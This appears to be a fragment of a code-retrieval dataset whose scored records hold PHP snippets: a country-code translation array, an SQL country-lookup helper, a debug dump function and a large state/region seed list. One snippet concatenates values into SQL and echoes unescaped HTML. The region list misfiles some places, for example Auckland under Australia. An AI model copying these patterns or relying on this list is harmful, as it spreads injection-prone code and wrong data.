'gdpr-framework'),\n 'IN' => _x('India ', '(Admin)', 'gdpr-framework'),\n 'ID' => _x('Indonesia ', '(Admin)', 'gdpr-framework'),\n 'IR' => _x('Iran, Islamic Republic of ', '(Admin)', 'gdpr-framework'),\n 'IQ' => _x('Iraq ', '(Admin)', 'gdpr-framework'),\n 'IM' => _x('Isle of Man ', '(Admin)', 'gdpr-framework'),\n 'IL' => _x('Israel ', '(Admin)', 'gdpr-framework'),\n 'JM' => _x('Jamaica ', '(Admin)', 'gdpr-framework'),\n 'JP' => _x('Japan ', '(Admin)', 'gdpr-framework'),\n 'JE' => _x('Jersey ', '(Admin)', 'gdpr-framework'),\n 'JO' => _x('Jordan ', '(Admin)', 'gdpr-framework'),\n 'KZ' => _x('Kazakhstan ', '(Admin)', 'gdpr-framework'),\n 'KE' => _x('Kenya ', '(Admin)', 'gdpr-framework'),\n 'KI' => _x('Kiribati ', '(Admin)', 'gdpr-framework'),\n 'KP' => _x('Korea, Democratic Peoples Republic of ', '(Admin)', 'gdpr-framework'),\n 'KR' => _x('Korea, Republic of ', '(Admin)', 'gdpr-framework'),\n 'KW' => _x('Kuwait ', '(Admin)', 'gdpr-framework'),\n 'KG' => _x('Kyrgyzstan ', '(Admin)', 'gdpr-framework'),\n 'LA' => _x('Lao Peoples Democratic Republic ', '(Admin)', 'gdpr-framework'),\n 'LB' => _x('Lebanon ', '(Admin)', 'gdpr-framework'),\n 'LS' => _x('Lesotho ', '(Admin)', 'gdpr-framework'),\n 'LR' => _x('Liberia ', '(Admin)', 'gdpr-framework'),\n 'LY' => _x('Libya ', '(Admin)', 'gdpr-framework'),\n 'MO' => _x('Macao ', '(Admin)', 'gdpr-framework'),\n 'MK' => _x('Macedonia, the Former Yugoslav Republic of ', '(Admin)', 'gdpr-framework'),\n 'MG' => _x('Madagascar ', '(Admin)', 'gdpr-framework'),\n 'MW' => _x('Malawi ', '(Admin)', 'gdpr-framework'),\n 'MY' => _x('Malaysia ', '(Admin)', 'gdpr-framework'),\n 'MV' => _x('Maldives ', '(Admin)', 'gdpr-framework'),\n 'ML' => _x('Mali ', '(Admin)', 'gdpr-framework'),\n 'MH' => _x('Marshall Islands ', '(Admin)', 'gdpr-framework'),\n 'MQ' => _x('Martinique ', '(Admin)', 'gdpr-framework'),\n 'MR' => _x('Mauritania ', '(Admin)', 'gdpr-framework'),\n 'MU' => _x('Mauritius ', '(Admin)', 'gdpr-framework'),\n 'YT' => _x('Mayotte ', '(Admin)', 'gdpr-framework'),\n 'MX' => _x('Mexico ', '(Admin)', 'gdpr-framework'),\n 'FM' => _x('Micronesia, Federated States of ', '(Admin)', 'gdpr-framework'),\n 'MD' => _x('Moldova, Republic of ', '(Admin)', 'gdpr-framework'),\n 'MC' => _x('Monaco ', '(Admin)', 'gdpr-framework'),\n 'MN' => _x('Mongolia ', '(Admin)', 'gdpr-framework'),\n 'ME' => _x('Montenegro ', '(Admin)', 'gdpr-framework'),\n 'MS' => _x('Montserrat ', '(Admin)', 'gdpr-framework'),\n 'MA' => _x('Morocco ', '(Admin)', 'gdpr-framework'),\n 'MZ' => _x('Mozambique ', '(Admin)', 'gdpr-framework'),\n 'MM' => _x('Myanmar ', '(Admin)', 'gdpr-framework'),\n 'NA' => _x('Namibia ', '(Admin)', 'gdpr-framework'),\n 'NR' => _x('Nauru ', '(Admin)', 'gdpr-framework'),\n 'NP' => _x('Nepal ', '(Admin)', 'gdpr-framework'),\n 'NC' => _x('New Caledonia ', '(Admin)', 'gdpr-framework'),\n 'NZ' => _x('New Zealand ', '(Admin)', 'gdpr-framework'),\n 'NI' => _x('Nicaragua ', '(Admin)', 'gdpr-framework'),\n 'NE' => _x('Niger ', '(Admin)', 'gdpr-framework'),\n 'NG' => _x('Nigeria ', '(Admin)', 'gdpr-framework'),\n 'NU' => _x('Niue ', '(Admin)', 'gdpr-framework'),\n 'NF' => _x('Norfolk Island ', '(Admin)', 'gdpr-framework'),\n 'MP' => _x('Northern Mariana Islands ', '(Admin)', 'gdpr-framework'),\n 'OM' => _x('Oman ', '(Admin)', 'gdpr-framework'),\n 'PK' => _x('Pakistan ', '(Admin)', 'gdpr-framework'),\n 'PW' => _x('Palau ', '(Admin)', 'gdpr-framework'),\n 'PS' => _x('Palestine, State of ', '(Admin)', 'gdpr-framework'),\n 'PA' => _x('Panama ', '(Admin)', 'gdpr-framework'),\n 'PG' => _x('Papua New Guinea ', '(Admin)', 'gdpr-framework'),\n 'PY' => _x('Paraguay ', '(Admin)', 'gdpr-framework'),\n 'PE' => _x('Peru ', '(Admin)', 'gdpr-framework'),\n 'PH' => _x('Philippines ', '(Admin)', 'gdpr-framework'),\n 'PN' => _x('Pitcairn ', '(Admin)', 'gdpr-framework'),\n 'PR' => _x('Puerto Rico ', '(Admin)', 'gdpr-framework'),\n 'QA' => _x('Qatar ', '(Admin)', 'gdpr-framework'),\n 'RE' => _x('Réunion ', '(Admin)', 'gdpr-framework'),\n 'RU' => _x('Russian Federation ', '(Admin)', 'gdpr-framework'),\n 'RW' => _x('Rwanda ', '(Admin)', 'gdpr-framework'),\n 'BL' => _x('Saint Barthélemy ', '(Admin)', 'gdpr-framework'),\n 'SH' => _x('Saint Helena, Ascension and Tristan da Cunha ', '(Admin)', 'gdpr-framework'),\n 'KN' => _x('Saint Kitts and Nevis ', '(Admin)', 'gdpr-framework'),\n 'LC' => _x('Saint Lucia ', '(Admin)', 'gdpr-framework'),\n 'MF' => _x('Saint Martin (French part) ', '(Admin)', 'gdpr-framework'),\n 'PM' => _x('Saint Pierre and Miquelon ', '(Admin)', 'gdpr-framework'),\n 'VC' => _x('Saint Vincent and the Grenadines ', '(Admin)', 'gdpr-framework'),\n 'WS' => _x('Samoa ', '(Admin)', 'gdpr-framework'),\n 'SM' => _x('San Marino ', '(Admin)', 'gdpr-framework'),\n 'ST' => _x('Sao Tome and Principe ', '(Admin)', 'gdpr-framework'),\n 'SA' => _x('Saudi Arabia ', '(Admin)', 'gdpr-framework'),\n 'SN' => _x('Senegal ', '(Admin)', 'gdpr-framework'),\n 'RS' => _x('Serbia ', '(Admin)', 'gdpr-framework'),\n 'SC' => _x('Seychelles ', '(Admin)', 'gdpr-framework'),\n 'SL' => _x('Sierra Leone ', '(Admin)', 'gdpr-framework'),\n 'SG' => _x('Singapore ', '(Admin)', 'gdpr-framework'),\n 'SX' => _x('Sint Maarten (Dutch part) ', '(Admin)', 'gdpr-framework'),\n 'SB' => _x('Solomon Islands ', '(Admin)', 'gdpr-framework'),\n 'SO' => _x('Somalia ', '(Admin)', 'gdpr-framework'),\n 'ZA' => _x('South Africa ', '(Admin)', 'gdpr-framework'),\n 'GS' => _x('South Georgia and the South Sandwich Islands ', '(Admin)', 'gdpr-framework'),\n 'SS' => _x('South Sudan ', '(Admin)', 'gdpr-framework'),\n 'LK' => _x('Sri Lanka ', '(Admin)', 'gdpr-framework'),\n 'SD' => _x('Sudan ', '(Admin)', 'gdpr-framework'),\n 'SR' => _x('Suriname ', '(Admin)', 'gdpr-framework'),\n 'SJ' => _x('Svalbard and Jan Mayen ', '(Admin)', 'gdpr-framework'),\n 'SZ' => _x('Swaziland ', '(Admin)', 'gdpr-framework'),\n 'SY' => _x('Syrian Arab Republic ', '(Admin)', 'gdpr-framework'),\n 'TW' => _x('Taiwan ', '(Admin)', 'gdpr-framework'),\n 'TJ' => _x('Tajikistan ', '(Admin)', 'gdpr-framework'),\n 'TZ' => _x('Tanzania, United Republic of ', '(Admin)', 'gdpr-framework'),\n 'TH' => _x('Thailand ', '(Admin)', 'gdpr-framework'),\n 'TL' => _x('Timor-Leste ', '(Admin)', 'gdpr-framework'),\n 'TG' => _x('Togo ', '(Admin)', 'gdpr-framework'),\n 'TK' => _x('Tokelau ', '(Admin)', 'gdpr-framework'),\n 'TO' => _x('Tonga ', '(Admin)', 'gdpr-framework'),\n 'TT' => _x('Trinidad and Tobago ', '(Admin)', 'gdpr-framework'),\n 'TN' => _x('Tunisia ', '(Admin)', 'gdpr-framework'),\n 'TR' => _x('Turkey ', '(Admin)', 'gdpr-framework'),\n 'TM' => _x('Turkmenistan ', '(Admin)', 'gdpr-framework'),\n 'TC' => _x('Turks and Caicos Islands ', '(Admin)', 'gdpr-framework'),\n 'TV' => _x('Tuvalu ', '(Admin)', 'gdpr-framework'),\n 'UG' => _x('Uganda ', '(Admin)', 'gdpr-framework'),\n 'UA' => _x('Ukraine ', '(Admin)', 'gdpr-framework'),\n 'AE' => _x('United Arab Emirates ', '(Admin)', 'gdpr-framework'),\n 'UM' => _x('United States Minor Outlying Islands ', '(Admin)', 'gdpr-framework'),\n 'UY' => _x('Uruguay ', '(Admin)', 'gdpr-framework'),\n 'UZ' => _x('Uzbekistan ', '(Admin)', 'gdpr-framework'),\n 'VU' => _x('Vanuatu ', '(Admin)', 'gdpr-framework'),\n 'VE' => _x('Venezuela, Bolivarian Republic of ', '(Admin)', 'gdpr-framework'),\n 'VN' => _x('Viet Nam ', '(Admin)', 'gdpr-framework'),\n 'VG' => _x('Virgin Islands, British ', '(Admin)', 'gdpr-framework'),\n 'VI' => _x('Virgin Islands, U.S. ', '(Admin)', 'gdpr-framework'),\n 'WF' => _x('Wallis and Futuna ', '(Admin)', 'gdpr-framework'),\n 'EH' => _x('Western Sahara ', '(Admin)', 'gdpr-framework'),\n 'YE' => _x('Yemen ', '(Admin)', 'gdpr-framework'),\n 'ZM' => _x('Zambia ', '(Admin)', 'gdpr-framework'),\n 'ZW' => _x('Zimbabwe ', '(Admin)', 'gdpr-framework'),\n ];\n }", "title": "" }, { "docid": "6b33765ee01c7a1354d5fd837d27970e", "score": "0.550398", "text": "public function getCountriesList($code);", "title": "" }, { "docid": "d7a9032bca7b7c7d277a22af367afdef", "score": "0.5496021", "text": "public static function getCountryFullInfo($activityFilter='all',$codeFilter=''){\n\t\t$rv=[];\n\t\t$sql = 'SELECT \n\t\t\t\t\tid,\n\t\t\t\t\tenglish_name,\n\t\t\t\t\tactive \n\t\t\t\tFROM ' \n\t\t\t\t\t. DB_PREFIX . ZENARIO_COUNTRY_MANAGER_PREFIX . 'country_manager_countries \n\t\t\t\tWHERE 1 ' \n\t\t\t\t\t. self::getWhereCondForActiveField($activityFilter);\n\t\tif (ze\\escape::sql(trim(strtoupper($codeFilter)))!='')\n\t\t\t$sql .= \" \n\t\t\t\t\tAND \n\t\t\t\t\t\tid='\" . ze\\escape::sql(trim(strtoupper($codeFilter))) . \"'\";\n\t\t$sql .= self::getOrderByClause();\n\n\t\t$res = ze\\sql::select($sql);\n\t\twhile ($row = ze\\sql::fetchAssoc($res))\n\t\t\t$rv[strtoupper($row['id'])]=['english_name'=>$row['english_name'],'vlp_phrase'=>'_COUNTRY_NAME_' . strtoupper($row['id']), 'status'=> $row['active']];\n\t\treturn $rv;\n\t}", "title": "" }, { "docid": "f6730b0238464796989464327ae147b4", "score": "0.5480813", "text": "public function get_for_browse_countries(){\n $country_name = NULL;\n $sql = \"SELECT * from travelimagedetails GROUP by CountryCodeISO\";\n $countrycodes = $this->query($sql);\n while($country = $countrycodes->fetch()){\n $sql = \"select * from geocountries where ISO ='\" . $country[\"CountryCodeISO\"]. \"'\";\n $result = $this->query($sql);\n $countrynames = $result->fetch();\n echo \"<option value='\". $countrynames[\"ISO\"] .\"'> \". $countrynames[\"CountryName\"] .\" </option>\";\n } \n }", "title": "" }, { "docid": "28d08a64f44765c9111e7ca4703dfcbe", "score": "0.5473307", "text": "public function getCountryCodes();", "title": "" }, { "docid": "e978ddd624971b2c4f2823286c0899b1", "score": "0.54664123", "text": "public function showAllCountry(){ \n \n $pushModel = new Push_model();\n $response = $pushModel->getSolaceContryList();\n $response = json_decode($response);\n //print_r($response[0]);echo \"<hr />\";\n foreach($response as $row){\n echo \"<pre>\";print_r($row);echo \"<hr />\";\n } \n }", "title": "" }, { "docid": "cfb19ed8cb70685c143b2457b2bfa96f", "score": "0.5415898", "text": "public static function states()\n {\n return [\n ['country_id' => '101', 'name' => 'andaman and nicobar islands'],\n ['country_id' => '101', 'name' => 'andhra pradesh'],\n ['country_id' => '101', 'name' => 'arunachal pradesh'],\n ['country_id' => '101', 'name' => 'assam'],\n ['country_id' => '101', 'name' => 'bihar'],\n ['country_id' => '101', 'name' => 'chandigarh'],\n ['country_id' => '101', 'name' => 'chhattisgarh'],\n ['country_id' => '101', 'name' => 'dadra and nagar haveli'],\n ['country_id' => '101', 'name' => 'daman and diu'],\n ['country_id' => '101', 'name' => 'delhi'],\n ['country_id' => '101', 'name' => 'goa'],\n ['country_id' => '101', 'name' => 'gujarat'],\n ['country_id' => '101', 'name' => 'haryana'],\n ['country_id' => '101', 'name' => 'himachal pradesh'],\n ['country_id' => '101', 'name' => 'jammu and kashmir'],\n ['country_id' => '101', 'name' => 'jharkhand'],\n ['country_id' => '101', 'name' => 'karnataka'],\n ['country_id' => '101', 'name' => 'kenmore'],\n ['country_id' => '101', 'name' => 'kerala'],\n ['country_id' => '101', 'name' => 'lakshadweep'],\n ['country_id' => '101', 'name' => 'madhya pradesh'],\n ['country_id' => '101', 'name' => 'maharashtra'],\n ['country_id' => '101', 'name' => 'manipur'],\n ['country_id' => '101', 'name' => 'meghalaya'],\n ['country_id' => '101', 'name' => 'mizoram'],\n ['country_id' => '101', 'name' => 'nagaland'],\n ['country_id' => '101', 'name' => 'narora'],\n ['country_id' => '101', 'name' => 'natwar'],\n ['country_id' => '101', 'name' => 'odisha'],\n ['country_id' => '101', 'name' => 'paschim medinipur'],\n ['country_id' => '101', 'name' => 'pondicherry'],\n ['country_id' => '101', 'name' => 'punjab'],\n ['country_id' => '101', 'name' => 'rajasthan'],\n ['country_id' => '101', 'name' => 'sikkim'],\n ['country_id' => '101', 'name' => 'tamil nadu'],\n ['country_id' => '101', 'name' => 'telangana'],\n ['country_id' => '101', 'name' => 'tripura'],\n ['country_id' => '101', 'name' => 'uttar pradesh'],\n ['country_id' => '101', 'name' => 'uttarakhand'],\n ['country_id' => '101', 'name' => 'vaishali'],\n ['country_id' => '101', 'name' => 'west bengal'],\n ['country_id' => '1', 'name' => 'badakhshan'],\n ['country_id' => '1', 'name' => 'badgis'],\n ['country_id' => '1', 'name' => 'baglan'],\n ['country_id' => '1', 'name' => 'balkh'],\n ['country_id' => '1', 'name' => 'bamiyan'],\n ['country_id' => '1', 'name' => 'farah'],\n ['country_id' => '1', 'name' => 'faryab'],\n ['country_id' => '1', 'name' => 'gawr'],\n ['country_id' => '1', 'name' => 'gazni'],\n ['country_id' => '1', 'name' => 'herat'],\n ['country_id' => '1', 'name' => 'hilmand'],\n ['country_id' => '1', 'name' => 'jawzjan'],\n ['country_id' => '1', 'name' => 'kabul'],\n ['country_id' => '1', 'name' => 'kapisa'],\n ['country_id' => '1', 'name' => 'khawst'],\n ['country_id' => '1', 'name' => 'kunar'],\n ['country_id' => '1', 'name' => 'lagman'],\n ['country_id' => '1', 'name' => 'lawghar'],\n ['country_id' => '1', 'name' => 'nangarhar'],\n ['country_id' => '1', 'name' => 'nimruz'],\n ['country_id' => '1', 'name' => 'nuristan'],\n ['country_id' => '1', 'name' => 'paktika'],\n ['country_id' => '1', 'name' => 'paktiya'],\n ['country_id' => '1', 'name' => 'parwan'],\n ['country_id' => '1', 'name' => 'qandahar'],\n ['country_id' => '1', 'name' => 'qunduz'],\n ['country_id' => '1', 'name' => 'samangan'],\n ['country_id' => '1', 'name' => 'sar-e pul'],\n ['country_id' => '1', 'name' => 'takhar'],\n ['country_id' => '1', 'name' => 'uruzgan'],\n ['country_id' => '1', 'name' => 'wardag'],\n ['country_id' => '1', 'name' => 'zabul'],\n ['country_id' => '2', 'name' => 'berat'],\n ['country_id' => '2', 'name' => 'bulqize'],\n ['country_id' => '2', 'name' => 'delvine'],\n ['country_id' => '2', 'name' => 'devoll'],\n ['country_id' => '2', 'name' => 'dibre'],\n ['country_id' => '2', 'name' => 'durres'],\n ['country_id' => '2', 'name' => 'elbasan'],\n ['country_id' => '2', 'name' => 'fier'],\n ['country_id' => '2', 'name' => 'gjirokaster'],\n ['country_id' => '2', 'name' => 'gramsh'],\n ['country_id' => '2', 'name' => 'has'],\n ['country_id' => '2', 'name' => 'kavaje'],\n ['country_id' => '2', 'name' => 'kolonje'],\n ['country_id' => '2', 'name' => 'korce'],\n ['country_id' => '2', 'name' => 'kruje'],\n ['country_id' => '2', 'name' => 'kucove'],\n ['country_id' => '2', 'name' => 'kukes'],\n ['country_id' => '2', 'name' => 'kurbin'],\n ['country_id' => '2', 'name' => 'lezhe'],\n ['country_id' => '2', 'name' => 'librazhd'],\n ['country_id' => '2', 'name' => 'lushnje'],\n ['country_id' => '2', 'name' => 'mallakaster'],\n ['country_id' => '2', 'name' => 'malsi e madhe'],\n ['country_id' => '2', 'name' => 'mat'],\n ['country_id' => '2', 'name' => 'mirdite'],\n ['country_id' => '2', 'name' => 'peqin'],\n ['country_id' => '2', 'name' => 'permet'],\n ['country_id' => '2', 'name' => 'pogradec'],\n ['country_id' => '2', 'name' => 'puke'],\n ['country_id' => '2', 'name' => 'sarande'],\n ['country_id' => '2', 'name' => 'shkoder'],\n ['country_id' => '2', 'name' => 'skrapar'],\n ['country_id' => '2', 'name' => 'tepelene'],\n ['country_id' => '2', 'name' => 'tirane'],\n ['country_id' => '2', 'name' => 'tropoje'],\n ['country_id' => '2', 'name' => 'vlore'],\n ['country_id' => '3', 'name' => '\\'ayn daflah'],\n ['country_id' => '3', 'name' => '\\'ayn tamushanat'],\n ['country_id' => '3', 'name' => 'adrar'],\n ['country_id' => '3', 'name' => 'algiers'],\n ['country_id' => '3', 'name' => 'annabah'],\n ['country_id' => '3', 'name' => 'bashshar'],\n ['country_id' => '3', 'name' => 'batnah'],\n ['country_id' => '3', 'name' => 'bijayah'],\n ['country_id' => '3', 'name' => 'biskrah'],\n ['country_id' => '3', 'name' => 'blidah'],\n ['country_id' => '3', 'name' => 'buirah'],\n ['country_id' => '3', 'name' => 'bumardas'],\n ['country_id' => '3', 'name' => 'burj bu arririj'],\n ['country_id' => '3', 'name' => 'ghalizan'],\n ['country_id' => '3', 'name' => 'ghardayah'],\n ['country_id' => '3', 'name' => 'ilizi'],\n ['country_id' => '3', 'name' => 'jijili'],\n ['country_id' => '3', 'name' => 'jilfah'],\n ['country_id' => '3', 'name' => 'khanshalah'],\n ['country_id' => '3', 'name' => 'masilah'],\n ['country_id' => '3', 'name' => 'midyah'],\n ['country_id' => '3', 'name' => 'milah'],\n ['country_id' => '3', 'name' => 'muaskar'],\n ['country_id' => '3', 'name' => 'mustaghanam'],\n ['country_id' => '3', 'name' => 'naama'],\n ['country_id' => '3', 'name' => 'oran'],\n ['country_id' => '3', 'name' => 'ouargla'],\n ['country_id' => '3', 'name' => 'qalmah'],\n ['country_id' => '3', 'name' => 'qustantinah'],\n ['country_id' => '3', 'name' => 'sakikdah'],\n ['country_id' => '3', 'name' => 'satif'],\n ['country_id' => '3', 'name' => 'sayda\\''],\n ['country_id' => '3', 'name' => 'sidi ban-al-\\'abbas'],\n ['country_id' => '3', 'name' => 'suq ahras'],\n ['country_id' => '3', 'name' => 'tamanghasat'],\n ['country_id' => '3', 'name' => 'tibazah'],\n ['country_id' => '3', 'name' => 'tibissah'],\n ['country_id' => '3', 'name' => 'tilimsan'],\n ['country_id' => '3', 'name' => 'tinduf'],\n ['country_id' => '3', 'name' => 'tisamsilt'],\n ['country_id' => '3', 'name' => 'tiyarat'],\n ['country_id' => '3', 'name' => 'tizi wazu'],\n ['country_id' => '3', 'name' => 'umm-al-bawaghi'],\n ['country_id' => '3', 'name' => 'wahran'],\n ['country_id' => '3', 'name' => 'warqla'],\n ['country_id' => '3', 'name' => 'wilaya d alger'],\n ['country_id' => '3', 'name' => 'wilaya de bejaia'],\n ['country_id' => '3', 'name' => 'wilaya de constantine'],\n ['country_id' => '3', 'name' => 'al-aghwat'],\n ['country_id' => '3', 'name' => 'al-bayadh'],\n ['country_id' => '3', 'name' => 'al-jaza\\'ir'],\n ['country_id' => '3', 'name' => 'al-wad'],\n ['country_id' => '3', 'name' => 'ash-shalif'],\n ['country_id' => '3', 'name' => 'at-tarif'],\n ['country_id' => '4', 'name' => 'eastern'],\n ['country_id' => '4', 'name' => 'manu\\'a'],\n ['country_id' => '4', 'name' => 'swains island'],\n ['country_id' => '4', 'name' => 'western'],\n ['country_id' => '5', 'name' => 'andorra la vella'],\n ['country_id' => '5', 'name' => 'canillo'],\n ['country_id' => '5', 'name' => 'encamp'],\n ['country_id' => '5', 'name' => 'la massana'],\n ['country_id' => '5', 'name' => 'les escaldes'],\n ['country_id' => '5', 'name' => 'ordino'],\n ['country_id' => '5', 'name' => 'sant julia de loria'],\n ['country_id' => '6', 'name' => 'bengo'],\n ['country_id' => '6', 'name' => 'benguela'],\n ['country_id' => '6', 'name' => 'bie'],\n ['country_id' => '6', 'name' => 'cabinda'],\n ['country_id' => '6', 'name' => 'cunene'],\n ['country_id' => '6', 'name' => 'huambo'],\n ['country_id' => '6', 'name' => 'huila'],\n ['country_id' => '6', 'name' => 'kuando-kubango'],\n ['country_id' => '6', 'name' => 'kwanza norte'],\n ['country_id' => '6', 'name' => 'kwanza sul'],\n ['country_id' => '6', 'name' => 'luanda'],\n ['country_id' => '6', 'name' => 'lunda norte'],\n ['country_id' => '6', 'name' => 'lunda sul'],\n ['country_id' => '6', 'name' => 'malanje'],\n ['country_id' => '6', 'name' => 'moxico'],\n ['country_id' => '6', 'name' => 'namibe'],\n ['country_id' => '6', 'name' => 'uige'],\n ['country_id' => '6', 'name' => 'zaire'],\n ['country_id' => '7', 'name' => 'other provinces'],\n ['country_id' => '8', 'name' => 'sector claimed by argentina/ch'],\n ['country_id' => '8', 'name' => 'sector claimed by argentina/uk'],\n ['country_id' => '8', 'name' => 'sector claimed by australia'],\n ['country_id' => '8', 'name' => 'sector claimed by france'],\n ['country_id' => '8', 'name' => 'sector claimed by new zealand'],\n ['country_id' => '8', 'name' => 'sector claimed by norway'],\n ['country_id' => '8', 'name' => 'unclaimed sector'],\n ['country_id' => '9', 'name' => 'barbuda'],\n ['country_id' => '9', 'name' => 'saint george'],\n ['country_id' => '9', 'name' => 'saint john'],\n ['country_id' => '9', 'name' => 'saint mary'],\n ['country_id' => '9', 'name' => 'saint paul'],\n ['country_id' => '9', 'name' => 'saint peter'],\n ['country_id' => '9', 'name' => 'saint philip'],\n ['country_id' => '10', 'name' => 'buenos aires'],\n ['country_id' => '10', 'name' => 'catamarca'],\n ['country_id' => '10', 'name' => 'chaco'],\n ['country_id' => '10', 'name' => 'chubut'],\n ['country_id' => '10', 'name' => 'cordoba'],\n ['country_id' => '10', 'name' => 'corrientes'],\n ['country_id' => '10', 'name' => 'distrito federal'],\n ['country_id' => '10', 'name' => 'entre rios'],\n ['country_id' => '10', 'name' => 'formosa'],\n ['country_id' => '10', 'name' => 'jujuy'],\n ['country_id' => '10', 'name' => 'la pampa'],\n ['country_id' => '10', 'name' => 'la rioja'],\n ['country_id' => '10', 'name' => 'mendoza'],\n ['country_id' => '10', 'name' => 'misiones'],\n ['country_id' => '10', 'name' => 'neuquen'],\n ['country_id' => '10', 'name' => 'rio negro'],\n ['country_id' => '10', 'name' => 'salta'],\n ['country_id' => '10', 'name' => 'san juan'],\n ['country_id' => '10', 'name' => 'san luis'],\n ['country_id' => '10', 'name' => 'santa cruz'],\n ['country_id' => '10', 'name' => 'santa fe'],\n ['country_id' => '10', 'name' => 'santiago del estero'],\n ['country_id' => '10', 'name' => 'tierra del fuego'],\n ['country_id' => '10', 'name' => 'tucuman'],\n ['country_id' => '11', 'name' => 'aragatsotn'],\n ['country_id' => '11', 'name' => 'ararat'],\n ['country_id' => '11', 'name' => 'armavir'],\n ['country_id' => '11', 'name' => 'gegharkunik'],\n ['country_id' => '11', 'name' => 'kotaik'],\n ['country_id' => '11', 'name' => 'lori'],\n ['country_id' => '11', 'name' => 'shirak'],\n ['country_id' => '11', 'name' => 'stepanakert'],\n ['country_id' => '11', 'name' => 'syunik'],\n ['country_id' => '11', 'name' => 'tavush'],\n ['country_id' => '11', 'name' => 'vayots dzor'],\n ['country_id' => '11', 'name' => 'yerevan'],\n ['country_id' => '12', 'name' => 'aruba'],\n ['country_id' => '13', 'name' => 'auckland'],\n ['country_id' => '13', 'name' => 'australian capital territory'],\n ['country_id' => '13', 'name' => 'balgowlah'],\n ['country_id' => '13', 'name' => 'balmain'],\n ['country_id' => '13', 'name' => 'bankstown'],\n ['country_id' => '13', 'name' => 'baulkham hills'],\n ['country_id' => '13', 'name' => 'bonnet bay'],\n ['country_id' => '13', 'name' => 'camberwell'],\n ['country_id' => '13', 'name' => 'carole park'],\n ['country_id' => '13', 'name' => 'castle hill'],\n ['country_id' => '13', 'name' => 'caulfield'],\n ['country_id' => '13', 'name' => 'chatswood'],\n ['country_id' => '13', 'name' => 'cheltenham'],\n ['country_id' => '13', 'name' => 'cherrybrook'],\n ['country_id' => '13', 'name' => 'clayton'],\n ['country_id' => '13', 'name' => 'collingwood'],\n ['country_id' => '13', 'name' => 'frenchs forest'],\n ['country_id' => '13', 'name' => 'hawthorn'],\n ['country_id' => '13', 'name' => 'jannnali'],\n ['country_id' => '13', 'name' => 'knoxfield'],\n ['country_id' => '13', 'name' => 'melbourne'],\n ['country_id' => '13', 'name' => 'new south wales'],\n ['country_id' => '13', 'name' => 'northern territory'],\n ['country_id' => '13', 'name' => 'perth'],\n ['country_id' => '13', 'name' => 'queensland'],\n ['country_id' => '13', 'name' => 'south australia'],\n ['country_id' => '13', 'name' => 'tasmania'],\n ['country_id' => '13', 'name' => 'templestowe'],\n ['country_id' => '13', 'name' => 'victoria'],\n ['country_id' => '13', 'name' => 'werribee south'],\n ['country_id' => '13', 'name' => 'western australia'],\n ['country_id' => '13', 'name' => 'wheeler'],\n ['country_id' => '14', 'name' => 'bundesland salzburg'],\n ['country_id' => '14', 'name' => 'bundesland steiermark'],\n ['country_id' => '14', 'name' => 'bundesland tirol'],\n ['country_id' => '14', 'name' => 'burgenland'],\n ['country_id' => '14', 'name' => 'carinthia'],\n ['country_id' => '14', 'name' => 'karnten'],\n ['country_id' => '14', 'name' => 'liezen'],\n ['country_id' => '14', 'name' => 'lower austria'],\n ['country_id' => '14', 'name' => 'niederosterreich'],\n ['country_id' => '14', 'name' => 'oberosterreich'],\n ['country_id' => '14', 'name' => 'salzburg'],\n ['country_id' => '14', 'name' => 'schleswig-holstein'],\n ['country_id' => '14', 'name' => 'steiermark'],\n ['country_id' => '14', 'name' => 'styria'],\n ['country_id' => '14', 'name' => 'tirol'],\n ['country_id' => '14', 'name' => 'upper austria'],\n ['country_id' => '14', 'name' => 'vorarlberg'],\n ['country_id' => '14', 'name' => 'wien'],\n ['country_id' => '15', 'name' => 'abseron'],\n ['country_id' => '15', 'name' => 'baki sahari'],\n ['country_id' => '15', 'name' => 'ganca'],\n ['country_id' => '15', 'name' => 'ganja'],\n ['country_id' => '15', 'name' => 'kalbacar'],\n ['country_id' => '15', 'name' => 'lankaran'],\n ['country_id' => '15', 'name' => 'mil-qarabax'],\n ['country_id' => '15', 'name' => 'mugan-salyan'],\n ['country_id' => '15', 'name' => 'nagorni-qarabax'],\n ['country_id' => '15', 'name' => 'naxcivan'],\n ['country_id' => '15', 'name' => 'priaraks'],\n ['country_id' => '15', 'name' => 'qazax'],\n ['country_id' => '15', 'name' => 'saki'],\n ['country_id' => '15', 'name' => 'sirvan'],\n ['country_id' => '15', 'name' => 'xacmaz'],\n ['country_id' => '16', 'name' => 'abaco'],\n ['country_id' => '16', 'name' => 'acklins island'],\n ['country_id' => '16', 'name' => 'andros'],\n ['country_id' => '16', 'name' => 'berry islands'],\n ['country_id' => '16', 'name' => 'biminis'],\n ['country_id' => '16', 'name' => 'cat island'],\n ['country_id' => '16', 'name' => 'crooked island'],\n ['country_id' => '16', 'name' => 'eleuthera'],\n ['country_id' => '16', 'name' => 'exuma and cays'],\n ['country_id' => '16', 'name' => 'grand bahama'],\n ['country_id' => '16', 'name' => 'inagua islands'],\n ['country_id' => '16', 'name' => 'long island'],\n ['country_id' => '16', 'name' => 'mayaguana'],\n ['country_id' => '16', 'name' => 'new providence'],\n ['country_id' => '16', 'name' => 'ragged island'],\n ['country_id' => '16', 'name' => 'rum cay'],\n ['country_id' => '16', 'name' => 'san salvador'],\n ['country_id' => '17', 'name' => '\\'isa'],\n ['country_id' => '17', 'name' => 'badiyah'],\n ['country_id' => '17', 'name' => 'hidd'],\n ['country_id' => '17', 'name' => 'jidd hafs'],\n ['country_id' => '17', 'name' => 'mahama'],\n ['country_id' => '17', 'name' => 'manama'],\n ['country_id' => '17', 'name' => 'sitrah'],\n ['country_id' => '17', 'name' => 'al-manamah'],\n ['country_id' => '17', 'name' => 'al-muharraq'],\n ['country_id' => '17', 'name' => 'ar-rifa\\'a'],\n ['country_id' => '18', 'name' => 'bagar hat'],\n ['country_id' => '18', 'name' => 'bandarban'],\n ['country_id' => '18', 'name' => 'barguna'],\n ['country_id' => '18', 'name' => 'barisal'],\n ['country_id' => '18', 'name' => 'bhola'],\n ['country_id' => '18', 'name' => 'bogora'],\n ['country_id' => '18', 'name' => 'brahman bariya'],\n ['country_id' => '18', 'name' => 'chandpur'],\n ['country_id' => '18', 'name' => 'chattagam'],\n ['country_id' => '18', 'name' => 'chittagong division'],\n ['country_id' => '18', 'name' => 'chuadanga'],\n ['country_id' => '18', 'name' => 'dhaka'],\n ['country_id' => '18', 'name' => 'dinajpur'],\n ['country_id' => '18', 'name' => 'faridpur'],\n ['country_id' => '18', 'name' => 'feni'],\n ['country_id' => '18', 'name' => 'gaybanda'],\n ['country_id' => '18', 'name' => 'gazipur'],\n ['country_id' => '18', 'name' => 'gopalganj'],\n 